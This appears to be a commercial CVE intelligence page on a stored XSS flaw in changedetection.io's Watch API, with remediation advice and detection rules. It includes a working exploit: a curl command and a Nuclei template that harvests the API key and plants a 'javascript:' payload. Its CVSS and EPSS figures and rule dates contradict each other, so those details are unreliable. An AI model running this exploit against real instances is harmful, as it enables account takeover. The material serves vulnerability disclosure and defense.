☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Changedetection.io logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 3.5 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-62780

CVE-2025-62780 is a stored cross-site scripting (XSS) vulnerability in changedetection.
📅 PUBLISHED: 2025-11-10 21:18 UTC 🔄 UPDATED: 2026-09-23 20:36 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: LIKELY — 2 independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.43%
👁️
0.43% probability
10.8× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059.007
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Australia License: Open Source
Patch available — upgrade to latest release
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
3.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-62780 is a stored cross-site scripting (XSS) vulnerability in changedetection.io, an open-source web page change detection tool. The flaw resides in the Watch update API, where insufficient security checks allow an attacker to inject a JavaScript payload into a watch's URL field. When a user with sufficient privileges (e.g., an admin) previews the watch and clicks the malicious link, the JavaScript executes in their browser session. The vulnerability affects versions prior to 0.50.34. The CVSS score is 6.2 (Medium), and the EPSS score is 0.00049, indicating low exploitation likelihood. A public proof-of-concept (PoC) exists via a Nuclei template.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

changedetection.io is distributed as a Python package via PyPI and as a Docker container. Users should verify the integrity of their installation by checking the package hash or Docker image digest. The vulnerability is introduced in the application code, not in a dependency, so supply chain risk is limited to the application itself.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) - The attack is carried out over the network.
  • Attack Complexity (AC): Low (L) - No special conditions are required.
  • Privileges Required (PR): High (H) - The attacker needs a valid API key or admin session.
  • User Interaction (UI): Required (R) - The victim must click the malicious link.
  • Scope (S): Unchanged (U) - The vulnerability does not affect other components.
  • Confidentiality (C): Low (L) - Limited data exposure possible.
  • Integrity (I): Low (L) - Limited modification of data possible.
  • Availability (A): None (N) - No impact on availability.

Threat Level: Medium. Exploitation requires user interaction and high privileges, but the impact is limited to the user's browser session.

Deep Dive & Mechanics

The vulnerability exists in the /api/v1/watch/{watch_uuid} endpoint. The API accepts a url field in the request body. When a user creates or updates a watch, the application does not properly sanitize the URL. An attacker can set the URL to a javascript: URI, such as javascript:alert(document.domain). When the watch is previewed, the application renders the URL as a clickable link. If the user clicks the link, the browser executes the JavaScript payload.

Attack Scenarios:

  1. New Watch Injection: An attacker creates a new watch with a legitimate URL. After the content is fetched, the attacker updates the watch's URL to a JavaScript payload.
  2. Existing Watch Hijacking: An attacker modifies an existing watch's URL to a JavaScript payload.

The attack requires the attacker to have an API key or an active admin session. The payload executes in the context of the changedetection.io application, allowing the attacker to steal session cookies, perform actions on behalf of the user, or deface the application.

Vulnerable vs. Patched Code

Vulnerable Code (pre-0.50.34): The API endpoint does not validate or sanitize the url field. It accepts any string, including javascript: URIs.

# vulnerable code example (conceptual)
@app.route('/api/v1/watch/<watch_uuid>', methods=['PUT'])
def update_watch(watch_uuid):
    data = request.get_json()
    watch = Watch.query.get(watch_uuid)
    watch.url = data['url']  # No sanitization
    db.session.commit()
    return jsonify({'status': 'OK'})

Patched Code (0.50.34): The patched version adds validation to reject javascript: URIs and other dangerous schemes.

# patched code example (conceptual)
from urllib.parse import urlparse

@app.route('/api/v1/watch/<watch_uuid>', methods=['PUT'])
def update_watch(watch_uuid):
    data = request.get_json()
    url = data['url']
    parsed = urlparse(url)
    if parsed.scheme in ['javascript', 'data', 'vbscript']:
        return jsonify({'error': 'Invalid URL scheme'}), 400
    watch = Watch.query.get(watch_uuid)
    watch.url = url
    db.session.commit()
    return jsonify({'status': 'OK'})

Exploitation & Lab Setup

Red Team

Prerequisites:

  • A running instance of changedetection.io <= 0.50.33.
  • An API key or admin session.

Steps:

  1. Identify the target and obtain an API key (e.g., via /settings page).
  2. Create a new watch with a legitimate URL (e.g., http://example.com).
  3. Update the watch's URL to a JavaScript payload:
    curl -X PUT "http://target/api/v1/watch/{watch_uuid}" \
      -H "x-api-key: {api_key}" \
      -H "Content-Type: application/json" \
      -d '{"url":"javascript:alert(document.domain)","title":"test","paused":true}'
    
  4. Send the preview link to the victim: http://target/preview/{watch_uuid}.
  5. When the victim clicks the link, the JavaScript executes.

Nuclei Template (from Hacker Arsenal):

id: CVE-2025-62780

info:
  name: ChangeDetection.io <= v0.50.33 - Stored XSS via Watch API
  author: 0x_Akoko
  severity: medium
  description: |
    changedetection.io <= 0.50.34 contains a stored cross site scripting caused by insufficient security checks in the Watch update API, letting attackers execute arbitrary JavaScript when users preview malicious links, exploit requires user interaction
  impact: |
    Attackers can execute arbitrary JavaScript in users' browsers, potentially stealing data or performing actions on behalf of the user.
  remediation: |
    Update to version 0.50.34 or later.
  reference:
    - https://github.com/dgtlmoon/changedetection.io/security/advisories/GHSA-4c3j-3h7v-22q9
    - https://nvd.nist.gov/vuln/detail/CVE-2025-62780
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:N
    cvss-score: 6.2
    cve-id: CVE-2025-62780
    epss-score: 0.00049
    epss-percentile: 0.14936
    cwe-id: CWE-79
  metadata:
    max-request: 4
    verified: true
    shodan-query: title:"Change Detection"
    fofa-query: title="Change Detection"
  tags: cve,cve2025,changedetection,xss,stored,api

variables:
  string: "{{to_lower('{{randstr}}')}}"

flow: http(1) && http(2) && http(3) && http(4)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 2

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "Change Detection", "changedetection.io")'
          - 'compare_versions(version, "<= 0.50.33")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: version
        part: body
        internal: true
        group: 1
        regex:
          - 'id="right-sticky">v([0-9.]+)<'

      - type: xpath
        name: watch_uuid
        part: body
        internal: true
        attribute: id
        xpath:
          - "//table[contains(@class,'watch-table')]//tbody/tr[1]"

  - raw:
      - |
        GET /settings HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "api-key")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: api_key
        part: body
        internal: true
        group: 1
        regex:
          - 'id="api-key">([a-f0-9]+)</span>'

  - raw:
      - |
        PUT /api/v1/watch/{{watch_uuid}} HTTP/1.1
        Host: {{Hostname}}
        x-api-key: {{api_key}}
        Content-Type: application/json

        {"url":"javascript:alert(document.domain)","title":"{{string}}","paused":true}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "OK")'
        condition: and
        internal: true

  - raw:
      - |
        GET /preview/{{watch_uuid}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "javascript:alert(document.domain)", "{{string}}")'
        condition: and

Blue Team

Detection:

  • Monitor API logs for PUT /api/v1/watch/ requests with url containing javascript: or other dangerous schemes.
  • Alert on multiple failed login attempts or unusual API key usage.

Hunting:

  • Search for watches with URLs starting with javascript:, data:, or vbscript:.
  • Review user activity logs for suspicious watch creation or modification.

Lab Setup:

  • Deploy a vulnerable instance using Docker:
    docker run -d -p 5000:5000 --name changedetection ghcr.io/dgtlmoon/changedetection.io:v0.50.33
    
  • Access the web interface at http://localhost:5000.
  • Create an admin account and obtain the API key from /settings.

Indicators of Compromise (IOCs)

  • Network:
    • HTTP requests to /api/v1/watch/ with url parameter containing javascript:.
    • HTTP requests to /preview/ followed by a watch UUID.
  • File System:
    • Log entries in changedetection.log showing PUT /api/v1/watch/ with suspicious URLs.
  • Application:
    • Watches with URLs starting with javascript:, data:, or vbscript:.
    • Unexpected JavaScript execution in the browser when clicking preview links.

Detection Engineering

YARA Rule

rule CVE_2025_62780_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in changedetection.io watch URLs"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-62780"
    strings:
        $javascript = /javascript:[a-zA-Z0-9()]+/
        $data = /data:text\/html/
        $vbscript = /vbscript:[a-zA-Z0-9()]+/
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-62780 - Stored XSS via Watch API
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects attempts to exploit stored XSS in changedetection.io by injecting javascript: URIs into the watch API.
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-62780
logsource:
    category: webserver
    product: changedetection
detection:
    selection:
        http.method: 'PUT'
        http.url|contains: '/api/v1/watch/'
        http.body|contains: 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of javascript: URIs (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-62780 - Stored XSS via Watch API"; flow:to_server; content:"PUT"; http_method; content:"/api/v1/watch/"; http_uri; content:"javascript:"; http_client_body; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate:

  • Update changedetection.io to version 0.50.34 or later.
  • If immediate update is not possible, restrict access to the API endpoint using a web application firewall (WAF) or reverse proxy.

Long-term:

  • Implement input validation for all user-supplied data, especially URLs.
  • Use a Content Security Policy (CSP) to mitigate XSS impact.
  • Regularly audit API logs for suspicious activity.

Workaround:

  • Disable the preview feature if not needed.
  • Require multi-factor authentication for admin accounts.

Valters IT

{/* [Security Hash: 45A9821197440A2DC0F48896] */}

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-62780/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.